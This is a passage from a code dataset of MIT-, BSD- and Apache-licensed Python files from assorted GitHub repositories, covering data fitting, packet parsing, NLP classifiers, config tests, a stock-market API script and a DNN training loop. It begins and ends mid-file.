\"\"\"\n self._logger.debug(\"Messages = %s\" % messages)\n\n if sys.version_info[0] == 2:\n topic_id_recvd = \"\".join(\n chr(x) for x in bytearray(messages[0], 'utf-8'))\n else:\n topic_id_recvd = str(messages[0], 'utf-8')\n\n # Process all messages, skipping the (first) topic frame\n\n # Decode the record from the message using the type\n # schema, initially returned during table monitor\n # creation\n if (self.__cb_delete is not None\n and self.__cb_delete.event_callback is not None):\n try:\n retobj = dict(\n GPUdbRecord.decode_binary_data(self.type_schema, messages[1])[\n 0])\n self.__cb_delete.event_callback(retobj[\"count\"])\n\n self._logger.debug(\"Topic Id = {} , record = {} \"\n .format(topic_id_recvd,\n retobj[\"count\"]))\n except Exception as e:\n self._logger.error(\n \"Exception received while decoding {}\".format(str(e)))\n\n self._logger.error(\"Failed to decode message {} \"\n \"with schema {}\".format(messages[1],\n self.type_schema))\n\n # End _process_message _DeleteWatcherTask(_BaseTask)\n\n def _disconnect(self):\n \"\"\"\n\n \"\"\"\n self.stop()\n\n\n", "source": "kineticadb/kinetica-api-python", "license": "MIT"} {"text": "__description__ = \\\n\"\"\"\nFitter subclass for performing maximum likelihood fits.\n\"\"\"\n__author__ = \"Michael J. Harms\"\n__date__ = \"2017-05-10\"\n\nfrom .base import Fitter\n\nimport numpy as np\nimport scipy.stats\nimport scipy.optimize as optimize\n\nimport warnings\n\nclass MLFitter(Fitter):\n \"\"\"\n Fit the model to the data using nonlinear least squares.\n\n Standard deviation and ninety-five percent confidence intervals on parameter\n estimates are determined using the covariance matrix (Jacobian * residual\n variance) See:\n # http://stackoverflow.com/questions/14854339/in-scipy-how-and-why-does-curve-fit-calculate-the-covariance-of-the-parameter-es\n # http://stackoverflow.com/questions/14581358/getting-standard-errors-on-fitted-parameters-using-the-optimize-leastsq-method-i\n \"\"\"\n def __init__(self,num_samples=100000):\n \"\"\"\n Initialize the fitter.\n\n num_samples: number of samples for generating corner plot\n \"\"\"\n\n super(MLFitter,self).__init__()\n\n self.fit_type = \"maximum likelihood\"\n self._num_samples = num_samples\n\n def _fit(self,**kwargs):\n \"\"\"\n Fit the parameters to the model.\n\n Parameters\n ----------\n\n **kwargs : any keyword arguments are passed as **kwargs to\n scipy.optimize.least_squares\n \"\"\"\n\n # Do the actual fit\n fn = lambda *args: -self.weighted_residuals(*args)\n self._fit_result = optimize.least_squares(fn,\n x0=self.guesses,\n bounds=self.bounds,\n **kwargs)\n\n self._success = self._fit_result.success\n\n self._update_estimates()\n\n def _update_estimates(self):\n\n self._estimate = self._fit_result.x\n\n # Extract standard error on the fit parameter from the covariance\n N = len(self._y_obs)\n P = len(self._fit_result.x)\n\n try:\n J = self._fit_result.jac\n cov = np.linalg.inv(2*np.dot(J.T,J))\n\n self._stdev = np.sqrt(np.diagonal(cov)) #variance)\n\n # 95% confidence intervals from standard error\n z = scipy.stats.t(N-P-1).ppf(0.975)\n c1 = self._estimate - z*self._stdev\n c2 = self._estimate + z*self._stdev\n\n self._ninetyfive = [[],[]]\n for i in range(P):\n self._ninetyfive[0].append(c1[i])\n self._ninetyfive[1].append(c2[i])\n self._ninetyfive = np.array(self._ninetyfive)\n\n except np.linalg.LinAlgError:\n warning = \"\\n\\nJacobian matrix was singular.\\n\"\n warning += \"Could not estimate parameter uncertainty.\\n\"\n warning += \"Consider using the Bayesian sampler.\\n\"\n warnings.warn(warning)\n\n self._stdev = np.nan*np.ones(len(self._estimate),dtype=np.float)\n self._ninety_five = np.nan*np.ones((2,len(self._estimate)),dtype=np.float)\n\n\n @property\n def samples(self):\n \"\"\"\n Use the Jacobian spit out by least_squares to generate a whole bunch of\n fake samples.\n\n Approximate the covariance matrix as $(2*J^{T} \\dot J)^{-1}$, then perform\n cholesky factorization on the covariance matrix. This can then be\n multiplied by random normal samples to create distributions that come\n from this covariance matrix.\n\n See:\n https://stackoverflow.com/questions/40187517/getting-covariance-matrix-of-fitted-parameters-from-scipy-optimize-least-squares\n https://stats.stackexchange.com/questions/120179/generating-data-with-a-given-sample-covariance-matrix\n \"\"\"\n\n try:\n return self._samples\n except AttributeError:\n\n try:\n # Return None if no fit has been run.\n try:\n J = self._fit_result.jac\n except AttributeError:\n return None\n\n cov = np.linalg.inv(2*np.dot(J.T,J))\n chol_cov = np.linalg.cholesky(cov).T\n except np.linalg.LinAlgError:\n warning = \"\\n\\nJacobian matrix was singular.\\n\"\n warning += \"Could not estimate parameter uncertainty.\\n\"\n warning += \"Consider using the Bayesian sampler.\\n\"\n warnings.warn(warning)\n\n # Return empty array\n return np.array([])\n\n self._samples = np.dot(np.random.normal(size=(self._num_samples,\n chol_cov.shape[0])),\n chol_cov)\n self._samples = self._samples + self.estimate\n\n return self._samples\n", "source": "harmslab/likelihood", "license": "MIT"} {"text": "import dash\nimport dash_bootstrap_components as dbc\n\nfrom apps.monitor import Monitor\nfrom apps.controller import Controller\nfrom apps.navbar import navbar\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=[\n dbc.themes.BOOTSTRAP, 'assets/app.css'])\n\n\ndef start():\n monitor = Monitor(app)\n controller = Controller(app)\n\n monitor.callbacks()\n controller.callbacks()\n\n app.layout = dbc.Container(\n [\n navbar,\n dbc.Row(\n [\n dbc.Col(monitor.layout(), id=\"id-left-panel\", width=6),\n dbc.Col(controller.layout(), id=\"id-right-panel\", width=6),\n ]\n )\n ],\n fluid=True,\n style={\"padding\": 0}\n )\n\n app.run_server(debug=False, host='0.0.0.0')\n\n\nif __name__ == \"__main__\":\n start()\n", "source": "jingwangian/elevator", "license": "MIT"} {"text": "# $Id: dtp.py 23 2006-11-08 15:45:33Z dugsong $\n# -*- coding: utf-8 -*-\n\"\"\"Dynamic Trunking Protocol.\"\"\"\nfrom __future__ import absolute_import\n\nimport struct\n\nfrom . import dpkt\n\n\nclass DTP(dpkt.Packet):\n \"\"\"Dynamic Trunking Protocol.\n\n TODO: Longer class information....\n\n Attributes:\n __hdr__: Header fields of DTP.\n TODO.\n \"\"\"\n\n __hdr__ = (\n ('v', 'B', 0),\n ) # rest is TLVs\n\n def unpack(self, buf):\n dpkt.Packet.unpack(self, buf)\n buf = self.data\n tvs = []\n while buf:\n t, l = struct.unpack('>HH', buf[:4])\n v, buf = buf[4:4 + l], buf[4 + l:]\n tvs.append((t, v))\n self.data = tvs\n\n def __bytes__(self):\n return b''.join([struct.pack('>HH', t, len(v)) + v for t, v in self.data])\n\nTRUNK_NAME = 0x01\nMAC_ADDR = 0x04\n", "source": "amgadhanafy/dpkt", "license": "BSD-3-Clause"} {"text": "import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ntrain = pd.read_csv('../data/r8-train-all-terms.txt', header = None, sep = '\\t')\ntest = pd.read_csv('../data/r8-test-all-terms.txt', header = None, sep = '\\t')\n\ntrain.columns = ['label', 'content']\ntest.columns = ['label', 'content']\n\n# building a scikit-learn like class with fit, transform and fit_transform functions for ease\nclass GloVe_vectoriser:\n def __init__(self):\n print('Loading the pretrained word vectors..')\n word2vec = {}\n embedding = []\n idx2word = []\n with open('../data/glove.6B/glove.6B.50d.txt') as f:\n for line in f:\n values = line.split()\n word = values[0]\n vec = np.asarray(values[1:], dtype = 'float32')\n word2vec[word] = vec\n embedding.append(vec)\n idx2word.append(word)\n print('Found %s word vectors.' % len(word2vec))\n \n self.word2vec = word2vec\n self.embedding = np.array(embedding)\n self.word2idx = {v:k for k, v in enumerate(idx2word)}\n self.V, self.D = self.embedding.shape\n \n def fit(self, data):\n pass\n \n def transform(self, data):\n X = np.zeros((len(data), self.D))\n count = 0\n n = 0\n for sentence in data:\n tokens = sentence.lower().split()\n vecs = []\n for word in tokens:\n if word in self.word2vec:\n vec = self.word2vec[word]\n vecs.append(vec)\n if len(vecs) > 0:\n vecs = np.array(vecs)\n X[n] = vecs.mean(axis = 0)\n else:\n count = count + 1\n n = n + 1;\n print('No. of samples with no words found %s / %s' % (count, len(data)))\n return X\n \n def fit_transform(self, data):\n self.fit(data)\n return self.transform(data)\n \nvectoriser = GloVe_vectoriser()\n\nX_train = vectoriser.fit_transform(train.content)\ny_train = train.label\n\nX_test = vectoriser.transform(test.content)\ny_test = test.label\n\nfrom sklearn.ensemble import RandomForestClassifier\nmodel = RandomForestClassifier(n_estimators = 200)\nmodel.fit(X_train, y_train)\n\nprint('Train score:', model.score(X_train, y_train))\n# Train score: 0.9992707383773929\n\nprint('Test score:', model.score(X_test, y_test))\n# Test score: 0.9319323892188214, n_estimators = 100\n# Test score: 0.9360438556418456, n_estimators = 200", "source": "itsmepiyush2/Bag-of-words-classifier", "license": "MIT"} {"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Tuple\n\nfrom iceberg.schema import Schema\nfrom iceberg.transforms import Transform\n\n_PARTITION_DATA_ID_START: int = 1000\n\n\n@dataclass(frozen=True)\nclass PartitionField:\n \"\"\"\n PartitionField is a single element with name and unique id,\n It represents how one partition value is derived from the source column via transformation\n\n Attributes:\n source_id(int): The source column id of table's schema\n field_id(int): The partition field id across all the table partition specs\n transform(Transform): The transform used to produce partition values from source column\n name(str): The name of this partition field\n \"\"\"\n\n source_id: int\n field_id: int\n transform: Transform\n name: str\n\n def __str__(self):\n return f\"{self.field_id}: {self.name}: {self.transform}({self.source_id})\"\n\n\n@dataclass(eq=False, frozen=True)\nclass PartitionSpec:\n \"\"\"\n PartitionSpec captures the transformation from table data to partition values\n\n Attributes:\n schema(Schema): the schema of data table\n spec_id(int): any change to PartitionSpec will produce a new specId\n fields(List[PartitionField): list of partition fields to produce partition values\n last_assigned_field_id(int): auto-increment partition field id starting from PARTITION_DATA_ID_START\n \"\"\"\n\n schema: Schema\n spec_id: int\n fields: Tuple[PartitionField, ...]\n last_assigned_field_id: int\n source_id_to_fields_map: Dict[int, List[PartitionField]] = field(init=False, repr=False)\n\n def __post_init__(self):\n source_id_to_fields_map = dict()\n for partition_field in self.fields:\n source_column = self.schema.find_column_name(partition_field.source_id)\n if not source_column:\n raise ValueError(f\"Cannot find source column: {partition_field.source_id}\")\n existing = source_id_to_fields_map.get(partition_field.source_id, [])\n existing.append(partition_field)\n source_id_to_fields_map[partition_field.source_id] = existing\n object.__setattr__(self, \"source_id_to_fields_map\", source_id_to_fields_map)\n\n def __eq__(self, other):\n \"\"\"\n Produce a boolean to return True if two objects are considered equal\n\n Note:\n Equality of PartitionSpec is determined by spec_id and partition fields only\n \"\"\"\n if not isinstance(other, PartitionSpec):\n return False\n return self.spec_id == other.spec_id and self.fields == other.fields\n\n def __str__(self):\n \"\"\"\n Produce a human-readable string representation of PartitionSpec\n\n Note:\n Only include list of partition fields in the PartitionSpec's string representation\n \"\"\"\n result_str = \"[\"\n if self.fields:\n result_str += \"\\n \" + \"\\n \".join([str(field) for field in self.fields]) + \"\\n\"\n result_str += \"]\"\n return result_str\n\n def is_unpartitioned(self) -> bool:\n return not self.fields\n\n def fields_by_source_id(self, field_id: int) -> List[PartitionField]:\n return self.source_id_to_fields_map[field_id]\n\n def compatible_with(self, other: \"PartitionSpec\") -> bool:\n \"\"\"\n Produce a boolean to return True if two PartitionSpec are considered compatible\n \"\"\"\n if self == other:\n return True\n if len(self.fields) != len(other.fields):\n return False\n return all(\n this_field.source_id == that_field.source_id\n and this_field.transform == that_field.transform\n and this_field.name == that_field.name\n for this_field, that_field in zip(self.fields, other.fields)\n )\n", "source": "wgzhxy/iceberg", "license": "Apache-2.0"} {"text": "# based on: https://github.com/tigertv/secretpy/blob/master/secretpy/ciphers/columnar_transposition.py\n\nclass cipher_columnar_transposition:\n def __dec(self, alphabet, key, text):\n chars = [alphabets.get_index_in_alphabet(char, alphabet)\n for char in key]\n keyorder = sorted(enumerate(chars), key=lambda x: x[1])\n ret = u\"\"\n rows = int(len(text) / len(key))\n\n cols = [0] * len(key)\n for i, item in enumerate(range(0, len(text), rows)):\n cols[keyorder[i][0]] = text[item: item + rows]\n\n for j in range(rows):\n for i in range(len(cols)):\n ret += cols[i][j]\n return ret\n\n def __enc(self, alphabet, key, text):\n # add endings to the text to fill the square\n rmd = len(text) % len(key)\n if rmd != 0:\n text += alphabet[-1] * (len(key) - rmd)\n\n chars = [alphabets.get_index_in_alphabet(char, alphabet)\n for char in key]\n keyorder1 = sorted(enumerate(chars), key=lambda x: x[1])\n\n ret = u\"\"\n for i in range(len(key)):\n ret += text[keyorder1[i][0]::len(key)]\n\n return ret\n\n def encrypt(self, text, key, alphabet=None):\n alphabet = alphabet or alphabets.ENGLISH\n return self.__enc(alphabet, key, text)\n\n def decrypt(self, text, key, alphabet=None):\n alphabet = alphabet or alphabets.ENGLISH\n return self.__dec(alphabet, key, text)\n", "source": "sebmichel1983/pwntools", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n# Copyright (c) 2013-2022 The keysight developers. All rights reserved.\n# Project site: https://github.com/questrail/keysight\n# Use of this source code is governed by a MIT-style license that\n# can be found in the LICENSE.txt file for the project.\n\"\"\"Dynamic setup file.\n\"\"\"\n\n# Standard module imports\nimport codecs\nimport os\nimport re\n\nimport setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n\ndef read(*parts):\n \"\"\"Read parts of a file\n\n Taken from pip's setup.py\n intentionally *not* adding an encoding option to open\n see: https://github.com/pypa/virtualenv/issues/201#issuecomment-3145690\n \"\"\"\n return codecs.open(os.path.join(here, *parts), 'r').read()\n\n\ndef find_version(*file_paths):\n \"\"\"Find version in source file\n\n Read the version number from a source file.\n Code taken from pip's setup.py\n \"\"\"\n version_file = read(*file_paths)\n # The version line must have the form:\n # __version__ = 'ver'\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\",\n version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\n\nsetuptools.setup(\n name='keysight',\n version=find_version('src', 'keysight', '__init__.py'),\n author='Matthew Rankin',\n author_email='matthew@questrail.com',\n description='Package for working with Keysight/Agilent/HP test equipment',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url='http://github.com/questrail/keysight',\n project_urls={\n \"Bug Tracker\": \"https://github.com/questrail/keysight/issues\",\n },\n package_dir={\"\": \"src\"},\n packages=setuptools.find_packages(where=\"src\"),\n python_requires=\">=3.6\",\n license='MIT',\n requires=['numpy (>=1.6.0)'],\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'License :: OSI Approved :: MIT License',\n 'Development Status :: 5 - Production/Stable',\n 'Operating System :: OS Independent',\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ]\n)\n", "source": "ufo2011/keysight", "license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass BgportConfig(AppConfig):\n name = 'bgport'\n", "source": "shotastage/neco-sys", "license": "MIT"} {"text": "import matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nmen_means = (0.769, 0.893, 0.891, 0.579, 0.830, 0.682, 0.278,\r\n 0.576, 0.894, 0.943, 0.773, 0.773, 0.939, 0.881, 0.937, 0.145, 0.890, 0.476, 0.920)\r\n\r\nind = np.arange(len(men_means)) # the x locations for the groups\r\nwidth = 0.6 # the width of the bars\r\n\r\nfig, ax = plt.subplots()\r\nrects1 = ax.bar(ind, men_means, width,\r\n color='#4472C4')\r\n\r\n# Add some text for labels, title and custom x-axis tick labels, etc.\r\nax.set_ylabel('DICE coefficient')\r\nax.set_title('Testing set')\r\nax.set_xticks(ind)\r\nax.set_xticklabels(('1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14',\r\n '15', '16', '17', '18', '19', '\u5e73\u5747\u503c'))\r\nax.hlines(0.740, -1, 19, linestyles='--', colors='r')\r\nax.legend()\r\n\r\n#plt.rcParams['font.sans-serif'] = ['SimHei'] # \u7528\u6765\u6b63\u5e38\u663e\u793a\u4e2d\u6587\u6807\u7b7e\r\n#plt.rcParams['axes.unicode_minus'] = False # \u7528\u6765\u6b63\u5e38\u663e\u793a\u8d1f\u53f7\r\n\r\n\r\ndef autolabel(rects, xpos='center'):\r\n \"\"\"\r\n Attach a text label above each bar in *rects*, displaying its height.\r\n *xpos* indicates which side to place the text w.r.t. the center of\r\n the bar. It can be one of the following {'center', 'right', 'left'}.\r\n \"\"\"\r\n\r\n xpos = xpos.lower() # normalize the case of the parameter\r\n ha = {'center': 'center', 'right': 'left', 'left': 'right'}\r\n offset = {'center': 0.5, 'right': 0.5, 'left': 0.5} # x_txt = x + w*off\r\n\r\n for rect in rects:\r\n height = rect.get_height()\r\n ax.text(rect.get_x() + rect.get_width() * offset[xpos], 1.01 * height,\r\n '{}'.format(height), ha=ha[xpos], va='bottom')\r\n\r\n\r\n# ax.plot(men_means[:5],5,'--')\r\n\r\nautolabel(rects1, \"center\")\r\n\r\nplt.annotate(u\"Mean:0.740\", xy=(19, 0.740), xytext=(19, 0.9), arrowprops=dict(facecolor='red', shrink=0.1, width=2))\r\n#plt.savefig(\"D:/1.jpg\")\r\nplt.show()", "source": "PennyCoder5704/PeixiaGraduationProject", "license": "Apache-2.0"} {"text": "from __future__ import division, absolute_import, print_function\n\nimport confuse\nimport argparse\nimport optparse\nimport unittest\n\n\nclass ArgparseTest(unittest.TestCase):\n def setUp(self):\n self.config = confuse.Configuration('test', read=False)\n self.parser = argparse.ArgumentParser()\n\n def _parse(self, args):\n args = self.parser.parse_args(args.split())\n self.config.set_args(args)\n\n def test_text_argument_parsed(self):\n self.parser.add_argument('--foo', metavar='BAR')\n self._parse('--foo bar')\n self.assertEqual(self.config['foo'].get(), 'bar')\n\n def test_boolean_argument_parsed(self):\n self.parser.add_argument('--foo', action='store_true')\n self._parse('--foo')\n self.assertEqual(self.config['foo'].get(), True)\n\n def test_missing_optional_argument_not_included(self):\n self.parser.add_argument('--foo', metavar='BAR')\n self._parse('')\n with self.assertRaises(confuse.NotFoundError):\n self.config['foo'].get()\n\n def test_argument_overrides_default(self):\n self.config.add({'foo': 'baz'})\n\n self.parser.add_argument('--foo', metavar='BAR')\n self._parse('--foo bar')\n self.assertEqual(self.config['foo'].get(), 'bar')\n\n\nclass OptparseTest(unittest.TestCase):\n def setUp(self):\n self.config = confuse.Configuration('test', read=False)\n self.parser = optparse.OptionParser()\n\n def _parse(self, args):\n options, _ = self.parser.parse_args(args.split())\n self.config.set_args(options)\n\n def test_text_argument_parsed(self):\n self.parser.add_option('--foo', metavar='BAR')\n self._parse('--foo bar')\n self.assertEqual(self.config['foo'].get(), 'bar')\n\n def test_boolean_argument_parsed(self):\n self.parser.add_option('--foo', action='store_true')\n self._parse('--foo')\n self.assertEqual(self.config['foo'].get(), True)\n\n def test_missing_optional_argument_not_included(self):\n self.parser.add_option('--foo', metavar='BAR')\n self._parse('')\n with self.assertRaises(confuse.NotFoundError):\n self.config['foo'].get()\n\n def test_argument_overrides_default(self):\n self.config.add({'foo': 'baz'})\n\n self.parser.add_option('--foo', metavar='BAR')\n self._parse('--foo bar')\n self.assertEqual(self.config['foo'].get(), 'bar')\n\n\nclass Namespace(object):\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n\nclass GenericNamespaceTest(unittest.TestCase):\n def setUp(self):\n self.config = confuse.Configuration('test', read=False)\n\n def test_value_added_to_root(self):\n self.config.set_args(Namespace(foo='bar'))\n self.assertEqual(self.config['foo'].get(), 'bar')\n\n def test_value_added_to_subview(self):\n self.config['baz'].set_args(Namespace(foo='bar'))\n self.assertEqual(self.config['baz']['foo'].get(), 'bar')\n", "source": "maxdymond/confuse", "license": "MIT"} {"text": "import official.nlp.modeling.networks\nimport official.nlp.modeling.models\nimport official.nlp.modeling.losses\nimport official.nlp.data.classifier_data_lib\nimport official.nlp.bert.tokenization\nimport official.nlp.bert.run_classifier\nimport official.nlp.bert.configs\nimport official.nlp.bert.bert_models\nimport official.nlp.optimization\nfrom official.nlp import bert\nfrom official import nlp\nfrom official.modeling import tf_utils\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport tensorflow_datasets as tfds\nimport json\n\ngs_folder_bert = \"gs://cloud-tpu-checkpoints/bert/keras_bert/uncased_L-12_H-768_A-12\"\n\ntokenizer = bert.tokenization.FullTokenizer(\n vocab_file=os.path.join(gs_folder_bert, \"vocab.txt\"),\n do_lower_case=True\n)\n\n\ndef encode_sentence(s, tokenizer):\n tokens = list(tokenizer.tokenize(s))\n tokens.append('[SEP]')\n return tokenizer.convert_tokens_to_ids(tokens)\n\n\ndef bert_encode(glue_dict, tokenizer):\n num_examples = len(glue_dict[\"sentence1\"])\n\n sentence1 = tf.ragged.constant([\n encode_sentence(s, tokenizer) for s in np.array(glue_dict[\"sentence1\"])\n ])\n sentence2 = tf.ragged.constant([\n encode_sentence(s, tokenizer) for s in np.array(glue_dict[\"sentence2\"])\n ])\n\n cls = [tokenizer.convert_tokens_to_ids(['[CLS]'])]*sentence1.shape[0]\n input_word_ids = tf.concat([cls, sentence1, sentence2], axis=-1)\n\n input_mask = tf.ones_like(input_word_ids).to_tensor()\n\n type_cls = tf.zeros_like(cls)\n type_s1 = tf.zeros_like(sentence1)\n type_s2 = tf.ones_like(sentence2)\n input_type_ids = tf.concat(\n [type_cls, type_s1, type_s2], axis=-1\n ).to_tensor()\n\n inputs = {\n 'input_word_ids': input_word_ids.to_tensor(),\n 'input_mask': input_mask,\n 'input_type_ids': input_type_ids\n }\n\n return inputs\n\n\n# Set up tokenizer to generate Tensorflow dataset\ntokenizer = bert.tokenization.FullTokenizer(\n vocab_file=os.path.join(gs_folder_bert, \"vocab.txt\"),\n do_lower_case=True\n)\n\nmy_examples = bert_encode(\n glue_dict={\n 'sentence1': [\n 'The rain in Spain falls mainly on the plain.',\n 'Look I fine tuned BERT.'\n ],\n 'sentence2': [\n 'It mostly rains on the flat lands of Spain.',\n 'Is it working? This does not match.'\n ]\n },\n tokenizer=tokenizer\n)\n\nexport_dir = './saved_model'\nreloaded = tf.saved_model.load(export_dir)\nresult = reloaded([\n my_examples['input_word_ids'],\n my_examples['input_mask'],\n my_examples['input_type_ids']\n], training=False)\n\nbert_classifier, bert_encoder = bert.bert_models.classifier_model(bert_config, num_labels=2)\nbert_classifier(my_examples, training=False)\n\nprint(result)\n", "source": "viclen/nlp-sentiment-twitter", "license": "Apache-2.0"} {"text": "# TO RUN THIS SCRIPT COPY THIS COMMAND INTO THE TERMINAL -----> market_open_close.py\n\npackages_setup = ['''\n\nconda create -n stocks-env python=3.7 # (first time only)\nconda activate stocks-env\n\npip install -r requirements.txt\npip install pytest # (only if you'll be writing tests)\n\npython market_open_close.py\n\n''']\n\n\n# Examples (click for JSON output)\n# https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=MSFT&apikey=demo\n\n# https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=MSFT&outputsize=full&apikey=demo\n\n\n\n# To issue an http request in python, you must import a 'request package'\n\nimport os\nimport requests\nimport json # need this to import json string into dictionary\nfrom datetime import datetime # taken from stackoverflow\nimport csv # so you can write date to .csv\n\n\n# Current Time for transaction pull\ndate_time = datetime.now().strftime(\"%m/%d/%Y, %I:%M:%S%P\\n\") # Formatted for easy to understand human reading instead of military time\n# print(date_time)\n\n# Also, we know that we are working with $ pricing so let's get the formatting out of the way\n\ndef usd_format(my_price):\n return \"${0:,.2f}\".format(my_price) # This UDF will change numerical denomination to currency and cents (2 digits) format when passed through\n\n\n# request_url = f\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={user_input_ticker}&apikey={api_key}\"\n\n\nmarket_open_close_request_url = f\"https://financialmodelingprep.com/api/v3/is-the-market-open\"\n\nmarket_open_close_response = requests.get(market_open_close_request_url)\n\n# print(type(response))\n# print(response.status_code)\n# print(response.text) # This is a string\n\nmarket_open_close_parsed_response = json.loads(market_open_close_response.text) #this converts string format into dictionary\n\n# print(market_open_close_parsed_response)\n\n# breakpoint()\n\n\nif market_open_close_parsed_response[\"isTheStockMarketOpen\"] == \"True\":\n open_or_not = \"Open\"\nelse:\n open_or_not = \"Closed\" \n\nthis_calendar_year = market_open_close_parsed_response[\"stockMarketHolidays\"][0]\n\n# print(\"\\n\")\nprint(\"The\", market_open_close_parsed_response[\"stockExchangeName\"], \"opens at\", market_open_close_parsed_response[\"stockMarketHours\"][\"openingHour\"], \"and closes at\", market_open_close_parsed_response[\"stockMarketHours\"][\"closingHour\"], \"on weekdays.\")\nprint(\"\\n\")\nprint(\"The Stock Market is currently\", open_or_not,\".\")\n# print(\"\\n\")\nprint(\"Note that these are the upcoming holidays for the current Calendar Year:\", this_calendar_year[\"year\"])\n\n\n\n# for i in market_open_close_parsed_response[\"stockMarketHolidays\"]:\n\n# Wanted to keep loop but the subsequent calendar year .json data is incorrect and will import only the top position [0]\n \n# print(\"\\n\")\n# print(this_calendar_year[\"year\"], \"Calendar year\")\nprint(\"\\n\")\nprint(this_calendar_year[\"New Years Day\"], \"New Years Day\")\nprint(this_calendar_year[\"Martin Luther King, Jr. Day\"], \"Martin Luther King, Jr. Day\")\nprint(this_calendar_year[\"Washington's Birthday\"], \"Washington's Birthday\")\nprint(this_calendar_year[\"Good Friday\"], \"Good Friday\")\nprint(this_calendar_year[\"Memorial Day\"], \"Memorial Day\")\nprint(this_calendar_year[\"Independence Day\"], \"Independence Day\")\nprint(this_calendar_year[\"Labor Day\"], \"Labor Day\")\nprint(this_calendar_year[\"Thanksgiving Day\"], \"Thanksgiving Day\")\nprint(this_calendar_year[\"Christmas\"], \"Christmas\")\n\n\n\n# Reference Code Below -->\n\n# or i in forex_parsed_response[\"forexList\"]:\n# # print([\"ticker\"],[\"bid\"],[\"ask\"],[\"open\"],[\"low\"],[\"high\"],[\"changes\"],[\"date\"])\n# print(i[\"ticker\"],i[\"bid\"],i[\"ask\"],i[\"open\"],i[\"low\"],i[\"high\"],i[\"changes\"],i[\"date\"])\n\n# for k in most_gainer_parsed_response.keys():\n# ticker = most_gainer_parsed_response[k]\n# print(ticker[\"mostGainerStock\"][\"\"])\n\n", "source": "hirokiden/Apprentice-Investor-Tool", "license": "MIT"} {"text": "import argparse\nimport json\nimport os\nimport torch\nimport sys\nsys.path.append(\"./\")\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom DNN_spec.DNNnet import DNNnet, Dnn_net_Loss\nfrom DNN_spec.linear2load import linear2load\n\n\ndef load_checkpoint(checkpoint_path, model, optimizer):\n assert os.path.isfile(checkpoint_path)\n checkpoint_dict = torch.load(checkpoint_path, map_location='cpu')\n iteration = checkpoint_dict['iteration']\n optimizer.load_state_dict(checkpoint_dict['optimizer'])\n model_for_loading = checkpoint_dict['model']\n model.load_state_dict(model_for_loading.state_dict())\n print(\"Loaded checkpoint '{}' (iteration {})\" .format(\n checkpoint_path, iteration))\n return model, optimizer, iteration\n\ndef save_checkpoint(model, optimizer, learning_rate, iteration, filepath):\n print(\"Saving model and optimizer state at iteration {} to {}\".format(\n iteration, filepath))\n model_for_saving = DNNnet(**DNN_net_config).cuda()\n model_for_saving.load_state_dict(model.state_dict())\n torch.save({'model': model_for_saving,\n 'iteration': iteration,\n 'optimizer': optimizer.state_dict(),\n 'learning_rate': learning_rate}, filepath)\n\n\n \ndef DNN_train(output_directory, epochs, learning_rate,\\\n iters_per_checkpoint, batch_size, seed, checkpoint_path):\n\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n\n # MMSELoss\n criterion = Dnn_net_Loss()\n\n model = DNNnet(**DNN_net_config).cuda()\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n # Load checkpoint if one exists\n iteration = 0\n if checkpoint_path != \"\":\n model, optimizer, iteration = load_checkpoint(checkpoint_path, model,\n optimizer)\n model.cuda()\n iteration += 1 # next iteration is iteration + 1\n\n trainSet = linear2load(**DNN_data_config)\n trainSet.load_buffer()\n train_loader = DataLoader(trainSet, num_workers=1, shuffle=True,\n batch_size=batch_size,\n pin_memory=False,\n drop_last=True)\n if not os.path.isdir(output_directory):\n os.makedirs(output_directory)\n os.chmod(output_directory, 0o775)\n print(\"output directory\", output_directory)\n model.train(mode=True)\n epoch_offset = max(0, int(iteration / len(train_loader)))\n epoch_ave_loss = 0\n for epoch in range(epoch_offset, epochs):\n epoch_ave_loss = 0\n for i, batch in tqdm(enumerate(train_loader)):\n model.zero_grad()\n\n feed_mel, targ_mel = batch\n feed_mel = torch.autograd.Variable(feed_mel.cuda())\n targ_mel = torch.autograd.Variable(targ_mel.cuda())\n outputs = model(feed_mel)\n\n loss = criterion(outputs, targ_mel)\n\n reduced_loss = loss.item()\n\n loss.backward()\n\n optimizer.step()\n\n epoch_ave_loss += reduced_loss\n\n if (iteration % iters_per_checkpoint == 0):\n 